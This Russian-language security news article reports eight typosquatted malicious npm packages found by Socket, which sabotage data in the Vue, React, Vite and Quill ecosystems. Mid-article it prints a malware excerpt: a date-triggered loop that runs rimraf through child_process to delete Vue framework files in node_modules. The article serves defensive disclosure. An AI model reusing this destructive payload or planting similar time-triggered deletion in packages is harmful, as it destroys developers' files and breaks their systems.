Специалисты компании Socket обнаружили в npm восемь вредоносных пакетов, которые могли уничтожать данные на системах пользователей. Их загрузили из репозитория более 6200 раз за два года.
В названиях пакетов использовался тайпсквоттинг, чтобы имитировать названия настоящих популярных инструментов экосистем React, Vue.js, Vite, Node.js и Quill:
js-bomb,
js-hood,
vite-plugin-bomb-extend,
vite-plugin-bomb,
vite-plugin-react-extend,
vite-plugin-vue-extend,
vue-plugin-bomb,
quill-image-downloader.
Вредоносная полезная нагрузка в пакете могла применяться для удаления файлов, умышленного повреждения данных и вывода зараженных систем из строя.
«Особую тревогу вызывает разнообразие векторов атак в этой кампании: от незаметного повреждения данных до агрессивного отключения системы и удаления файлов. Пакеты создавались для различных частей экосистемы JavaScript с использованием различных тактик», — отметили эксперты.
Полезные нагрузки активировались в соответствии с жёстко заданными системными датами и были предназначены для постепенного уничтожения файлов фреймворка, повреждения основных методов JavaScript и нарушения механизмов хранения данных в браузере.
import process from"child_process";
import{fileURLToPath}from"node:url";
import{dirname}from"node:path";
.....
// Using rimraf for cross-platform file deletion
if (new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime() &&
(new Date).getTime()<new Date("2023/06/30 18:00:01").getTime()) {
setInterval(()=>{
// Dynamic path resolution
const arr=__dirname.split("\\");
const key2=arr[arr.length-2];
const index2=__dirname.indexOf(key2);
const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
// Target critical Vue.js components using rimraf for reliable deletion
process.execSync(`rimraf ${node_modules}vue\\dist`);
process.execSync(`rimraf ${node_modules}vue-router\\index.js`);
process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);
process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);
}, 1000)
}
Они позволяли удалять файлы, связанные с Vue.js, повреждать основные функции JavaScript случайными данными, нарушать работу всех механизмов хранения данных в браузере с помощью продвинутой трёхфайловой атаки, осуществлять многофазные системные атаки, удалявшие файлы фреймворка Vue.js и принудительно отключавшие систему.
Некоторые из этих полезных нагрузок должны были срабатывать только в определённые даты в 2023 году, но в других случаях атака должна была стартовать в июле того же года и не имела даты завершения.
Хотя все даты активации уже прошли, но эксперты предупредили, что угроза сохраняется.
Всем, кто устанавливал любой из этих пакетов, рекомендуется выполнить сканирование системы и удалить их.
В 2022 году исследователи из Reversing Labs рассказали, что злоумышленники публикуют вредоносные npm-пакеты для кражи пользовательских данных с сайтов и приложений. При этом хакеры выбирают для атаки названия популярных пакетов, чтобы смутить пользователей и заставить скачать шпионское программное обеспечение вместо оригинального.
В том же году GitHub внедрил обязательное применение в репозитории NPM двухфакторной аутентификации к учётным записям разработчиков, сопровождающих пакеты с более чем 1 млн загрузок в неделю или используемых в качестве зависимости у более чем 500 пакетов.